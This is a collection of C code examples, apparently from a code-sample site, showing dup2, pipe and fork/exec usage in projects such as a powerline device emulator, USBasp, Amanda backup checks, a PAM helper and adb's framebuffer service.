	if (getenv (PLCDEVICE))
	{

#if defined (WINPCAP) || defined (LIBPCAP)

		channel.ifindex = atoi (getenv (PLCDEVICE));

#else

		channel.ifname = strdup (getenv (PLCDEVICE));

#endif

	}
	optind = 1;
	while ((c = getoptv (argc, argv, optv)) != -1)
	{
		switch (c)
		{
		case 'C':
			if (!checkfilename (optarg))
			{
				error (1, EINVAL, "%s", optarg);
			}
			if ((plc.CFG.file = open (plc.CFG.name = optarg, O_BINARY|O_RDONLY)) == -1)
			{
				error (1, errno, "%s", plc.CFG.name);
			}
			if (sdramfile (plc.CFG.file, optarg, plc.flags))
			{
				error (1, ECANCELED, "CFG file %s is corrupt", optarg);
			}
			_setbits (plc.flags, PLC_SDRAM_CONFIG);
			break;
		case 'e':
			dup2 (STDOUT_FILENO, STDERR_FILENO);
			break;
		case 'F':
			_setbits (plc.module, (VS_MODULE_MAC | VS_MODULE_PIB));
			if (_anyset (plc.flags, PLC_FLASH_DEVICE))
			{
				_setbits (plc.module, VS_MODULE_FORCE);
			}
			_setbits (plc.flags, PLC_FLASH_DEVICE);
			break;
		case 'i':

#if defined (WINPCAP) || defined (LIBPCAP)

			channel.ifindex = atoi (optarg);

#else

			channel.ifname = optarg;

#endif

			break;
		case 'N':
			if (!checkfilename (optarg))
			{
				error (1, EINVAL, "%s", optarg);
			}
			if ((plc.NVM.file = open (plc.NVM.name = optarg, O_BINARY|O_RDONLY)) == -1)
			{
				error (1, errno, "%s", plc.NVM.name);
			}
			if (nvmfile1 (&plc.NVM))
			{
				error (1, errno, "Bad firmware file: %s", plc.NVM.name);
			}
			_setbits (plc.flags, PLC_WRITE_MAC);
			break;
		case 'n':
			if (!checkfilename (optarg))
			{
				error (1, EINVAL, "%s", optarg);
			}
			if ((plc.nvm.file = open (plc.nvm.name = optarg, O_BINARY|O_CREAT|O_RDWR|O_TRUNC, FILE_FILEMODE)) == -1)
			{
				error (1, errno, "%s", plc.nvm.name);
			}
			break;
		case 'P':
			if (!checkfilename (optarg))
			{
				error (1, EINVAL, "%s", optarg);
			}
			if ((plc.PIB.file = open (plc.PIB.name = optarg, O_BINARY|O_RDONLY)) == -1)
			{
				error (1, errno, "%s", plc.PIB.name);
			}
			if (pibfile1 (&plc.PIB))
			{
				error (1, errno, "Bad parameter file: %s", plc.PIB.name);
			}
			_setbits (plc.flags, PLC_WRITE_PIB);
			break;
		case 'p':
			if (!checkfilename (optarg))
			{
				error (1, EINVAL, "%s", optarg);
			}
			if ((plc.pib.file = open (plc.pib.name = optarg, O_BINARY|O_CREAT|O_RDWR|O_TRUNC, FILE_FILEMODE)) == -1)
			{
				error (1, errno, "%s", plc.pib.name);
			}
			break;
		case 'q':
			_setbits (channel.flags, CHANNEL_SILENCE);
			_setbits (plc.flags, PLC_SILENCE);
			break;
		case 't':
			channel.timeout = (signed)(uintspec (optarg, 0, UINT_MAX));
			break;
		case 'v':
			_setbits (channel.flags, CHANNEL_VERBOSE);
			_setbits (plc.flags, PLC_VERBOSE);
			break;
		case 'x':
			_setbits (plc.flags, PLC_BAILOUT);
			break;
		default:
			break;
		}
	}
	argc -= optind;
	argv += optind;

/*
 *      cancel operation if the user omitted a file or entered to extra argments
 *      on the command line;
 */

	if (argc)
	{
		error (1, ENOTSUP, ERROR_TOOMANY);
	}
	if (plc.CFG.file == -1)
	{
		error (1, ECANCELED, "No host CFG file named");
	}
	if (plc.NVM.file == -1)
	{
		error (1, ECANCELED, "No host NVM file named");
	}
	if (plc.PIB.file == -1)
	{
		error (1, ECANCELED, "No host PIB file named");
	}
	if (plc.nvm.file == -1)
	{
		error (1, ECANCELED, "No user NVM file named");
	}
	if (plc.pib.file == -1)
	{
		error (1, ECANCELED, "No user PIB file named");
	}
	openchannel (&channel);
	if (!(plc.message = malloc (sizeof (* plc.message))))
	{
		error (1, errno, PLC_NOMEMORY);
	}
	EmulateHost (&plc);
	free (plc.message);
	closechannel (&channel);
	exit (0);
}
Exemple #14
0
//----------------------------------------------------------------------------
int usbasp_open(char *SerialNumber)
{
    struct usb_bus *bus;
    struct usb_device *dev;
    char string[256];
    char serial[USB_CFG_SERIAL_NUMBER_LEN+1];
#ifdef __GNUC__
    int  old_fd, nul_fd;
#endif

    setup_serial(serial, SerialNumber);

    /*
     * libusb-win32-0.1.10.1 で usb_find_busses() を実行したときに
     * "found N busses"がstdoutに出力されるため一時的にstdoutをnulに切換
     * libusb-win32-0.1.10.2/ libusb-win32-0.1.12.0で修正されている
     * とりあえずgccのみ (bcc/bcb6/vc8では正常に動作しない)
     */
#ifdef __GNUC__
    old_fd = dup(fileno(stdout));           // 標準出力のバックアップを作成
    nul_fd = open("nul", O_WRONLY);         // 標準出力用に"nul"を開く
    dup2(nul_fd, fileno(stdout));           // ファイルのディスクリプタのコピーを1番に作成
#endif
    usb_init();

    usb_find_busses();                      // この中で不要な printf がある
    usb_find_devices();

#ifdef __GNUC__
    fflush(stdout);
    dup2(old_fd, fileno(stdout));           // 標準出力を元に戻す
    close(old_fd);                          // 標準出力のバックアップを閉じる
    close(nul_fd);
#endif

    for (bus = usb_get_busses(); bus; bus = bus->next) {
        for (dev = bus->devices; dev; dev = dev->next) {
            if (dev->descriptor.idVendor == USBDEV_VENDOR &&
                dev->descriptor.idProduct == USBDEV_PRODUCT)
            {
                usbhandle = usb_open(dev);
                if (usbhandle) {
                    if (SerialNumber == NULL)
                        return 0;               // findfirst
                    // check serial number
                    if (usb_get_string_simple(usbhandle,
                        dev->descriptor.iSerialNumber,
                        string, sizeof(string)) < 0)
                    {
                        // cannot read serial number
                        if (!SerialNumber[0])
                            return 0;
                    }
                    if (strnicmp(serial, string, USB_CFG_SERIAL_NUMBER_LEN) == 0)
                        return 0;

                    usb_close(usbhandle);
                }
            }
        }
    }

    fprintf(stderr, "%s: usb_open(): did not find any%s USB device \"%.4s\"\n",
       progname, SerialNumber ? " (matching)": "", serial);
    return 1;
}
Exemple #15
0
int gw_em_mad_init(gw_em_mad_t * em_mad, 
                   const char *   exe, 
                   const char *   name,
                   const char *   owner)
{
    char buf[50];
    char str[GW_EM_MAX_STRING], c;
    char info[GW_EM_MAX_INFO];
    char s_job_id[GW_EM_MAX_JOB_ID];
    char result[GW_EM_MAX_RESULT];
    char action[GW_EM_MAX_ACTION];
    int em_mad_pipe[2], mad_em_pipe[2];
    int i, rc;
    int length;
	
    if ((name == NULL) || (exe == NULL) || (owner == NULL))
        return -1;
	
	
    length = strlen(gw_conf.gw_location) + strlen(exe) + 6;

    em_mad->executable      = (char *) malloc(sizeof(char)*length);
    em_mad->name            = strdup(name);
    em_mad->wrapper_rsl     = NULL;
    em_mad->pre_wrapper_rsl = NULL;    
    em_mad->mode            = NULL;

    sprintf(em_mad->executable, "%s/bin/%s", gw_conf.gw_location, exe);    
    
    if (pipe(em_mad_pipe) == -1 || pipe(mad_em_pipe) == -1)
    {
        gw_log_print("EM",'E',"Could not create communication pipes: %s.\n",
                strerror(errno));
        return -1;
    }

    em_mad->pid = fork();
    
    switch (em_mad->pid)
    {
        case -1: /* Error */
            gw_log_print("EM",'E',"Could not fork to start execution MAD %s.\n", name);
            return -1;

        case 0: /* Child process (MAD) */
            close(em_mad_pipe[1]);
            close(mad_em_pipe[0]);
            
            /* stdin and stdout redirection */
            if (dup2(em_mad_pipe[0], 0) != 0 || dup2(mad_em_pipe[1], 1) != 1)
            {
                gw_log_print("EM",'E',"Could not duplicate communication pipes: %s\n",
                             strerror(errno));
                exit(-1);
            }
            
            close(em_mad_pipe[0]);
            close(mad_em_pipe[1]);
		    
            if (gw_conf.multiuser == GW_TRUE)
                execlp("sudo", "sudo", "-u", owner, em_mad->executable, NULL);
            else
        	execlp(em_mad->executable, em_mad->executable, NULL);

            gw_log_print("EM",'E',"Could not execute MAD %s (exec/sudo).\n",
                        	em_mad->executable);
            exit(-1);

            break;

        default: /* Parent process (GWD) */

            close(em_mad_pipe[0]);
            close(mad_em_pipe[1]);

            em_mad->em_mad_pipe = em_mad_pipe[1];
            em_mad->mad_em_pipe = mad_em_pipe[0];

            fcntl(em_mad->em_mad_pipe, F_SETFD, FD_CLOEXEC); /* Close pipes in other MADs*/
            fcntl(em_mad->mad_em_pipe, F_SETFD, FD_CLOEXEC);
            
            sprintf(buf, "INIT %i - -\n",gw_conf.number_of_jobs);
            write(em_mad->em_mad_pipe, buf, strlen(buf));

            i = 0;

            do
            {
                rc = read(em_mad->mad_em_pipe, (void *) &c, sizeof(char));
                str[i++] = c;
            }
            while ( rc > 0 && c != '\n' &&  c != '\0');

            str[i] = '\0';

            if (rc <= 0)
            {
                gw_log_print("EM",'E',"\tInitialization failure, reading from MAD %s.\n", em_mad->name);
                gw_em_mad_finalize(em_mad);
                
               	return -1;
            }

            sscanf(str,"%s %s %s %[^\n]", action, s_job_id, result, info);

#ifdef GWEMDEBUG
             gw_log_print("EM",'D',"MAD message received:\"%s %s %s %s\".\n",
                          action, s_job_id, result, info);
#endif                        

            if (strcmp(action, "INIT") == 0)
            {
                if (strcmp(result, "FAILURE") == 0)
                {
                    gw_log_print("EM",'E',"\tInitialization failure of MAD %s.\n", em_mad->name);
    	            gw_em_mad_finalize(em_mad);
                    
                	return -1;
                }
            }
            else
            {
                gw_log_print("EM",'E',"\tInitialization failure, bad response from MAD %s.\n", em_mad->name);
                gw_em_mad_finalize(em_mad);

               	return -1;
            }
      
            break;
    }

    return 0;
}
Exemple #16
0
static void
check_disk(
    dle_t *dle)
{
    char *device = NULL;
    char *err = NULL;
    char *user_and_password = NULL;
    char *domain = NULL;
    char *share = NULL, *subdir = NULL;
    size_t lpass = 0;
    int amode = R_OK;
    int access_result;
    char *access_type;
    char *extra_info = NULL;
    char *qdisk = NULL;
    char *qamdevice = NULL;
    char *qdevice = NULL;

    if (dle->disk) {
	need_global_check=1;
	qdisk = quote_string(dle->disk);
	qamdevice = quote_string(dle->device);
	device = g_strdup("nodevice");
	dbprintf(_("checking disk %s\n"), qdisk);
	if (GPOINTER_TO_INT(dle->estimatelist->data) == ES_CALCSIZE) {
	    if (dle->device[0] == '/' && dle->device[1] == '/') {
		err = g_strdup_printf(
		    _("Can't use CALCSIZE for samba estimate, use CLIENT: %s"),
		    dle->device);
		goto common_exit;
	    }
	}

	if (g_str_equal(dle->program, "GNUTAR")) {
            if(dle->device[0] == '/' && dle->device[1] == '/') {
		#ifdef SAMBA_CLIENT
		int nullfd, checkerr;
		int passwdfd;
		char *pwtext;
		size_t pwtext_len;
		pid_t checkpid;
		amwait_t retstat;
		pid_t wpid;
		int rc;
		char *line;
		char *sep;
		FILE *ferr;
		char *pw_fd_env;
		int errdos;

		parsesharename(dle->device, &share, &subdir);
		if (!share) {
		    err = g_strdup_printf(
			      _("cannot parse for share/subdir disk entry %s"),
			      dle->device);
		    goto common_exit;
		}
		if ((subdir) && (SAMBA_VERSION < 2)) {
		    err = g_strdup_printf(_("subdirectory specified for share '%s' but, samba is not v2 or better"),
				     dle->device);
		    goto common_exit;
		}
		if ((user_and_password = findpass(share, &domain)) == NULL) {
		    err = g_strdup_printf(_("cannot find password for %s"),
				     dle->device);
		    goto common_exit;
		}
		lpass = strlen(user_and_password);
		if ((pwtext = strchr(user_and_password, '%')) == NULL) {
		    err = g_strdup_printf(
				_("password field not \'user%%pass\' for %s"),
				dle->device);
		    goto common_exit;
		}
		*pwtext++ = '\0';
		pwtext_len = (size_t)strlen(pwtext);
		amfree(device);
		if ((device = makesharename(share, 0)) == NULL) {
		    err = g_strdup_printf(_("cannot make share name of %s"), share);
		    goto common_exit;
		}

		if ((nullfd = open("/dev/null", O_RDWR)) == -1) {
	            err = g_strdup_printf(_("Cannot access /dev/null : %s"),
				     strerror(errno));
		    goto common_exit;
		}

		if (pwtext_len > 0) {
		    pw_fd_env = "PASSWD_FD";
		} else {
		    pw_fd_env = "dummy_PASSWD_FD";
		}
		checkpid = pipespawn(SAMBA_CLIENT, STDERR_PIPE|PASSWD_PIPE, 0,
				     &nullfd, &nullfd, &checkerr,
				     pw_fd_env, &passwdfd,
				     "smbclient",
				     device,
				     *user_and_password ? "-U" : skip_argument,
				     *user_and_password ? user_and_password
							: skip_argument,
				     "-E",
				     domain ? "-W" : skip_argument,
				     domain ? domain : skip_argument,
#if SAMBA_VERSION >= 2
				     subdir ? "-D" : skip_argument,
				     subdir ? subdir : skip_argument,
#endif
				     "-c", "quit",
				     NULL);
		checkpid = checkpid;
		amfree(domain);
		aclose(nullfd);
		/*@ignore@*/
		if ((pwtext_len > 0) &&
		    full_write(passwdfd, pwtext, pwtext_len) < pwtext_len) {
		    err = g_strdup_printf(_("password write failed: %s: %s"),
				     dle->device, strerror(errno));
		    aclose(passwdfd);
		    goto common_exit;
		}
		/*@end@*/
		memset(user_and_password, '\0', (size_t)lpass);
		amfree(user_and_password);
		aclose(passwdfd);
		ferr = fdopen(checkerr, "r");
		if (!ferr) {
		    g_printf(_("ERROR [Can't fdopen ferr: %s]\n"), strerror(errno));
		    error(_("Can't fdopen ferr: %s"), strerror(errno));
		    /*NOTREACHED*/
		}
		sep = "";
		errdos = 0;
		for(sep = ""; (line = agets(ferr)) != NULL; free(line)) {
		    if (line[0] == '\0')
			continue;
		    strappend(extra_info, sep);
		    strappend(extra_info, line);
		    sep = ": ";
		    if(strstr(line, "ERRDOS") != NULL) {
			errdos = 1;
		    }
		}
		afclose(ferr);
		checkerr = -1;
		rc = 0;
		sep = "";
		while ((wpid = wait(&retstat)) != -1) {
		    if (!WIFEXITED(retstat) || WEXITSTATUS(retstat) != 0) {
			char *exitstr = str_exit_status("smbclient", retstat);
			strappend(err, sep);
			strappend(err, exitstr);
			sep = "\n";
			amfree(exitstr);

			rc = 1;
		    }
		}
		if (errdos != 0 || rc != 0) {
		    char *tmpbuf;
		    if (extra_info) {
                        tmpbuf = g_strdup_printf( _("samba access error: %s: %s %s"),
                            dle->device, extra_info, err);
			amfree(extra_info);
		    } else {
			tmpbuf = g_strdup_printf(_("samba access error: %s: %s"),
                            dle->device, err);
		    }
		    g_free(err);
		    err = tmpbuf;
		}
#else
		err = g_strdup_printf(
			      _("This client is not configured for samba: %s"),
			      qdisk);
#endif
		goto common_exit;
	    }
	    amode = F_OK;
	    amfree(device);
	    device = amname_to_dirname(dle->device);
	} else if (g_str_equal(dle->program, "DUMP")) {
	    if(dle->device[0] == '/' && dle->device[1] == '/') {
		err = g_strdup_printf(
		  _("The DUMP program cannot handle samba shares, use GNUTAR: %s"),
		  qdisk);
		goto common_exit;
	    }
#ifdef VDUMP								/* { */
#ifdef DUMP								/* { */
            if (g_str_equal(amname_to_fstype(dle->device), "advfs"))
#else									/* }{*/
	    if (1)
#endif									/* } */
	    {
		amfree(device);
		device = amname_to_dirname(dle->device);
		amode = F_OK;
	    } else
#endif									/* } */
	    {
		amfree(device);
		device = amname_to_devname(dle->device);
#ifdef USE_RUNDUMP
		amode = F_OK;
#else
		amode = R_OK;
#endif
	    }
	}
    }
    if (dle->program_is_application_api) {
	pid_t                    application_api_pid;
	backup_support_option_t *bsu;
	int                      app_err[2];
	GPtrArray               *errarray;

	bsu = backup_support_option(dle->program, g_options, dle->disk,
				    dle->device, &errarray);

	if (!bsu) {
	    char  *line;
	    guint  i;
	    for (i=0; i < errarray->len; i++) {
		line = g_ptr_array_index(errarray, i);
		fprintf(stdout, _("ERROR Application '%s': %s\n"),
			dle->program, line);
		amfree(line);
	    }
	    err = g_strdup_printf(_("Application '%s': can't run support command"),
			     dle->program);
	    goto common_exit;
	}

	if (dle->data_path == DATA_PATH_AMANDA &&
	    (bsu->data_path_set & DATA_PATH_AMANDA)==0) {
	    g_printf("ERROR application %s doesn't support amanda data-path\n",
		     dle->program);
	}
	if (dle->data_path == DATA_PATH_DIRECTTCP &&
	    (bsu->data_path_set & DATA_PATH_DIRECTTCP)==0) {
	    g_printf("ERROR application %s doesn't support directtcp data-path\n",
		     dle->program);
	}
	if (GPOINTER_TO_INT(dle->estimatelist->data) == ES_CALCSIZE &&
			    !bsu->calcsize) {
	    g_printf("ERROR application %s doesn't support calcsize estimate\n",
		     dle->program);
	}
	if (dle->include_file && dle->include_file->nb_element > 0 &&
	    !bsu->include_file) {
	    g_printf("ERROR application %s doesn't support include-file\n",
		   dle->program);
	}
	if (dle->include_list && dle->include_list->nb_element > 0 &&
	    !bsu->include_list) {
	    g_printf("ERROR application %s doesn't support include-list\n",
		   dle->program);
	}
	if (dle->include_optional && !bsu->include_optional) {
	    g_printf("ERROR application %s doesn't support optional include\n",
		   dle->program);
	}
	if (dle->exclude_file && dle->exclude_file->nb_element > 0 &&
	    !bsu->exclude_file) {
	    g_printf("ERROR application %s doesn't support exclude-file\n",
		   dle->program);
	}
	if (dle->exclude_list && dle->exclude_list->nb_element > 0 &&
	    !bsu->exclude_list) {
	    g_printf("ERROR application %s doesn't support exclude-list\n",
		   dle->program);
	}
	if (dle->exclude_optional && !bsu->exclude_optional) {
	    g_printf("ERROR application %s doesn't support optional exclude\n",
		   dle->program);
	}
	fflush(stdout);fflush(stderr);

	if (pipe(app_err) < 0) {
	    err = g_strdup_printf(_("Application '%s': can't create pipe"),
			     dle->program);
	    goto common_exit;
	}

	switch (application_api_pid = fork()) {
	case -1:
	    err = g_strdup_printf(_("fork failed: %s"), strerror(errno));
	    goto common_exit;

	case 0: /* child */
	    {
		GPtrArray *argv_ptr = g_ptr_array_new();
                GPtrArray *argv_quoted = g_ptr_array_new();
                gchar **args, **quoted_strings, **ptr;
		char *cmd = g_strjoin(NULL, APPLICATION_DIR, "/", dle->program, NULL);
		GSList   *scriptlist;
		script_t *script;
		estimatelist_t el;
		char *cmdline;

		aclose(app_err[0]);
		dup2(app_err[1], 2);

		g_ptr_array_add(argv_ptr, g_strdup(dle->program));
		g_ptr_array_add(argv_ptr, g_strdup("selfcheck"));
		if (bsu->message_line == 1) {
		    g_ptr_array_add(argv_ptr, g_strdup("--message"));
		    g_ptr_array_add(argv_ptr, g_strdup("line"));
		}
		if (g_options->config != NULL && bsu->config == 1) {
		    g_ptr_array_add(argv_ptr, g_strdup("--config"));
		    g_ptr_array_add(argv_ptr, g_strdup(g_options->config));
		}
		if (g_options->hostname != NULL && bsu->host == 1) {
		    g_ptr_array_add(argv_ptr, g_strdup("--host"));
		    g_ptr_array_add(argv_ptr, g_strdup(g_options->hostname));
		}
		if (dle->disk != NULL && bsu->disk == 1) {
		    g_ptr_array_add(argv_ptr, g_strdup("--disk"));
		    g_ptr_array_add(argv_ptr, g_strdup(dle->disk));
		}
		if (dle->device) {
		    g_ptr_array_add(argv_ptr, g_strdup("--device"));
		    g_ptr_array_add(argv_ptr, g_strdup(dle->device));
		}
		if (dle->create_index && bsu->index_line == 1) {
		    g_ptr_array_add(argv_ptr, g_strdup("--index"));
		    g_ptr_array_add(argv_ptr, g_strdup("line"));
		}
		if (dle->record && bsu->record == 1) {
		    g_ptr_array_add(argv_ptr, g_strdup("--record"));
		}
		
		for (el = dle->estimatelist; el != NULL; el=el->next) {
		    estimate_t estimate = (estimate_t)GPOINTER_TO_INT(el->data);
		    if (estimate == ES_CALCSIZE && bsu->calcsize == 1) {
			g_ptr_array_add(argv_ptr, g_strdup("--calcsize"));
		    }
		}
		application_property_add_to_argv(argv_ptr, dle, bsu,
						 g_options->features);

		for (scriptlist = dle->scriptlist; scriptlist != NULL;
		     scriptlist = scriptlist->next) {
		    script = (script_t *)scriptlist->data;
		    if (script->result && script->result->proplist) {
			property_add_to_argv(argv_ptr,
					     script->result->proplist);
		    }
		}

		g_ptr_array_add(argv_ptr, NULL);
                args = (gchar **)g_ptr_array_free(argv_ptr, FALSE);

                /*
                 * Build the command line to display
                 */
                g_ptr_array_add(argv_quoted, g_strdup(cmd));

                for (ptr = args; *ptr; ptr++)
                    g_ptr_array_add(argv_quoted, quote_string(*ptr));

                g_ptr_array_add(argv_quoted, NULL);

                quoted_strings = (gchar **)g_ptr_array_free(argv_quoted, FALSE);

                cmdline = g_strjoinv(" ", quoted_strings);
                g_strfreev(quoted_strings);

		dbprintf(_("Spawning \"%s\" in pipeline\n"), cmdline);
		amfree(cmdline);

		safe_fd(-1, 0);
		execve(cmd, args, safe_env());
		g_printf(_("ERROR [Can't execute %s: %s]\n"), cmd, strerror(errno));
		exit(127);
	    }
	default: /* parent */
	    {
		int   status;
		FILE *app_stderr;
		char *line;

		aclose(app_err[1]);
		app_stderr = fdopen(app_err[0], "r");
		if (!app_stderr) {
		    g_printf(_("ERROR [Can't fdopen app_stderr: %s]\n"),
			     strerror(errno));
		    error(_("Can't fdopen app_stderr: %s"), strerror(errno));
		    /*NOTREACHED*/
		}
		while((line = agets(app_stderr)) != NULL) {
		    if (strlen(line) > 0) {
			fprintf(stdout, "ERROR Application '%s': %s\n",
				dle->program, line);
			dbprintf("ERROR %s\n", line);
		    }
		    amfree(line);
		}
		fclose(app_stderr);
		if (waitpid(application_api_pid, &status, 0) < 0) {
		    err = g_strdup_printf(_("waitpid failed: %s"),
					 strerror(errno));
		    goto common_exit;
		} else if (!WIFEXITED(status)) {
		    err = g_strdup_printf(_("Application '%s': exited with signal %d"),
				     dle->program, WTERMSIG(status));
		    goto common_exit;
		} else if (WEXITSTATUS(status) != 0) {
		    err = g_strdup_printf(_("Application '%s': exited with status %d"),
				     dle->program, WEXITSTATUS(status));
		    goto common_exit;
		}
	    }
	}
	amfree(bsu);
	fflush(stdout);fflush(stderr);
	amfree(device);
	amfree(qamdevice);
	amfree(qdisk);
	return;
    }

    if (device) {
	qdevice = quote_string(device);
	dbprintf(_("device %s\n"), qdevice);

	/* skip accessability test if this is an AFS entry */
	if(strncmp_const(device, "afs:") != 0) {
#ifdef CHECK_FOR_ACCESS_WITH_OPEN
	    access_result = open(device, O_RDONLY);
	    access_type = "open";
#else
	    access_result = access(device, amode);
	    access_type = "access";
#endif
	    if(access_result == -1) {
		err = g_strdup_printf(_("Could not %s %s (%s): %s"),
				 access_type, qdevice, qdisk, strerror(errno));
	    }
#ifdef CHECK_FOR_ACCESS_WITH_OPEN
	    aclose(access_result);
#endif
	}
    }

common_exit:

    if (!qdevice)
	qdevice = quote_string(device);

    amfree(share);
    amfree(subdir);
    if(user_and_password) {
	memset(user_and_password, '\0', (size_t)lpass);
	amfree(user_and_password);
    }
    amfree(domain);

    if(err) {
	g_printf(_("ERROR %s\n"), err);
	dbprintf(_("%s\n"), err);
	amfree(err);
    } else {
	if (dle->disk) {
	    g_printf("OK %s\n", qdisk);
	    dbprintf(_("disk %s OK\n"), qdisk);
	}
	if (dle->device) {
	    g_printf("OK %s\n", qamdevice);
	    dbprintf(_("amdevice %s OK\n"), qamdevice);
	}
	if (device) {
	    g_printf("OK %s\n", qdevice);
	    dbprintf(_("device %s OK\n"), qdevice);
	}
    }
    if(extra_info) {
	dbprintf(_("extra info: %s\n"), extra_info);
	amfree(extra_info);
    }
    amfree(qdisk);
    amfree(qdevice);
    amfree(qamdevice);
    amfree(device);

    /* XXX perhaps do something with level: read dumpdates and sanity check */
}
Exemple #17
0
/* Run a given command (with a NULL-terminated argument list), feeding it the
 * given input on stdin, and storing any output it generates. */
static int
run_coprocess(pam_handle_t *pamh, const char *input, char **output,
	      uid_t uid, gid_t gid, const char *command, ...)
{
	int ipipe[2], opipe[2], i;
	char buf[LINE_MAX];
	pid_t child;
	char *buffer = NULL;
	size_t buffer_size = 0;
	va_list ap;

	*output = NULL;

	/* Create stdio pipery. */
	if (pipe(ipipe) == -1) {
		pam_syslog(pamh, LOG_ERR, "Could not create pipe: %m");
		return -1;
	}
	if (pipe(opipe) == -1) {
		pam_syslog(pamh, LOG_ERR, "Could not create pipe: %m");
		close(ipipe[0]);
		close(ipipe[1]);
		return -1;
	}

	/* Fork off a child. */
	child = fork();
	if (child == -1) {
		pam_syslog(pamh, LOG_ERR, "Could not fork: %m");
		close(ipipe[0]);
		close(ipipe[1]);
		close(opipe[0]);
		close(opipe[1]);
		return -1;
	}

	if (child == 0) {
		/* We're the child. */
		size_t j;
		const char *args[10];
		/* Drop privileges. */
		if (setgid(gid) == -1)
		  {
		    int err = errno;
		    pam_syslog (pamh, LOG_ERR, "setgid(%lu) failed: %m",
				(unsigned long) getegid ());
		    _exit (err);
		  }
		if (setgroups(0, NULL) == -1)
		  {
		    int err = errno;
		    pam_syslog (pamh, LOG_ERR, "setgroups() failed: %m");
		    _exit (err);
		  }
		if (setuid(uid) == -1)
		  {
		    int err = errno;
		    pam_syslog (pamh, LOG_ERR, "setuid(%lu) failed: %m",
				(unsigned long) geteuid ());
		    _exit (err);
		  }
		/* Set the pipe descriptors up as stdin and stdout, and close
		 * everything else, including the original values for the
		 * descriptors. */
		if (dup2(ipipe[0], STDIN_FILENO) != STDIN_FILENO) {
		    int err = errno;
		    pam_syslog(pamh, LOG_ERR, "dup2 of %s failed: %m", "stdin");
		    _exit(err);
		}
		if (dup2(opipe[1], STDOUT_FILENO) != STDOUT_FILENO) {
		    int err = errno;
		    pam_syslog(pamh, LOG_ERR, "dup2 of %s failed: %m", "stdout");
		    _exit(err);
		}
		if (pam_modutil_sanitize_helper_fds(pamh, PAM_MODUTIL_IGNORE_FD,
						    PAM_MODUTIL_IGNORE_FD,
						    PAM_MODUTIL_NULL_FD) < 0) {
		    _exit(1);
		}
		/* Initialize the argument list. */
		memset(args, 0, sizeof(args));
		/* Convert the varargs list into a regular array of strings. */
		va_start(ap, command);
		args[0] = command;
		for (j = 1; j < ((sizeof(args) / sizeof(args[0])) - 1); j++) {
			args[j] = va_arg(ap, const char*);
			if (args[j] == NULL) {
				break;
			}
		}
		/* Run the command. */
		execv(command, (char *const *) args);
		/* Never reached. */
		_exit(1);
	}
void framebuffer_service(unique_fd fd) {
    struct fbinfo fbinfo;
    unsigned int i, bsize;
    char buf[640];
    int fd_screencap;
    int w, h, f, c;
    int fds[2];
    pid_t pid;

    if (pipe2(fds, O_CLOEXEC) < 0) return;

    pid = fork();
    if (pid < 0) goto done;

    if (pid == 0) {
        dup2(fds[1], STDOUT_FILENO);
        adb_close(fds[0]);
        adb_close(fds[1]);
        const char* command = "screencap";
        const char *args[2] = {command, nullptr};
        execvp(command, (char**)args);
        perror_exit("exec screencap failed");
    }

    adb_close(fds[1]);
    fd_screencap = fds[0];

    /* read w, h, format & color space */
    if(!ReadFdExactly(fd_screencap, &w, 4)) goto done;
    if(!ReadFdExactly(fd_screencap, &h, 4)) goto done;
    if(!ReadFdExactly(fd_screencap, &f, 4)) goto done;
    if(!ReadFdExactly(fd_screencap, &c, 4)) goto done;

    fbinfo.version = DDMS_RAWIMAGE_VERSION;
    fbinfo.colorSpace = c;
    /* see hardware/hardware.h */
    switch (f) {
        case 1: /* RGBA_8888 */
            fbinfo.bpp = 32;
            fbinfo.size = w * h * 4;
            fbinfo.width = w;
            fbinfo.height = h;
            fbinfo.red_offset = 0;
            fbinfo.red_length = 8;
            fbinfo.green_offset = 8;
            fbinfo.green_length = 8;
            fbinfo.blue_offset = 16;
            fbinfo.blue_length = 8;
            fbinfo.alpha_offset = 24;
            fbinfo.alpha_length = 8;
            break;
        case 2: /* RGBX_8888 */
            fbinfo.bpp = 32;
            fbinfo.size = w * h * 4;
            fbinfo.width = w;
            fbinfo.height = h;
            fbinfo.red_offset = 0;
            fbinfo.red_length = 8;
            fbinfo.green_offset = 8;
            fbinfo.green_length = 8;
            fbinfo.blue_offset = 16;
            fbinfo.blue_length = 8;
            fbinfo.alpha_offset = 24;
            fbinfo.alpha_length = 0;
            break;
        case 3: /* RGB_888 */
            fbinfo.bpp = 24;
            fbinfo.size = w * h * 3;
            fbinfo.width = w;
            fbinfo.height = h;
            fbinfo.red_offset = 0;
            fbinfo.red_length = 8;
            fbinfo.green_offset = 8;
            fbinfo.green_length = 8;
            fbinfo.blue_offset = 16;
            fbinfo.blue_length = 8;
            fbinfo.alpha_offset = 24;
            fbinfo.alpha_length = 0;
            break;
        case 4: /* RGB_565 */
            fbinfo.bpp = 16;
            fbinfo.size = w * h * 2;
            fbinfo.width = w;
            fbinfo.height = h;
            fbinfo.red_offset = 11;
            fbinfo.red_length = 5;
            fbinfo.green_offset = 5;
            fbinfo.green_length = 6;
            fbinfo.blue_offset = 0;
            fbinfo.blue_length = 5;
            fbinfo.alpha_offset = 0;
            fbinfo.alpha_length = 0;
            break;
        case 5: /* BGRA_8888 */
            fbinfo.bpp = 32;
            fbinfo.size = w * h * 4;
            fbinfo.width = w;
            fbinfo.height = h;
            fbinfo.red_offset = 16;
            fbinfo.red_length = 8;
            fbinfo.green_offset = 8;
            fbinfo.green_length = 8;
            fbinfo.blue_offset = 0;
            fbinfo.blue_length = 8;
            fbinfo.alpha_offset = 24;
            fbinfo.alpha_length = 8;
           break;
        default:
            goto done;
    }

    /* write header */
    if (!WriteFdExactly(fd.get(), &fbinfo, sizeof(fbinfo))) goto done;

    /* write data */
    for(i = 0; i < fbinfo.size; i += bsize) {
      bsize = sizeof(buf);
      if (i + bsize > fbinfo.size)
        bsize = fbinfo.size - i;
      if(!ReadFdExactly(fd_screencap, buf, bsize)) goto done;
      if (!WriteFdExactly(fd.get(), buf, bsize)) goto done;
    }

done:
    adb_close(fds[0]);

    TEMP_FAILURE_RETRY(waitpid(pid, nullptr, 0));
}
Exemple #19
0
int main (int argc, char *argv[]) {
	int i, j, k, tick, numfils;
	int status, pid, filsactifs;
	char buf[LMAX];
	int rd;
	
	/* Mise en place des paramètres par défaut */
	if (!((argc == 2) && ((k=strtol(argv[1], (char **)NULL, 10))>0))){ /* atoi obsolete */
		k = 1;
		printf("utilisation : %s <pas de temps>\n", argv[0]);
		printf("Execution avec le pas par defaut (1 s)\n");
	}

	/* Création de NBFILS fils*/ 
	for (i = 0; i < NBFILS; i++) {
	
		/* Création du pipe pour discuter avec le fils */
		pipe(pipes[i]);
		
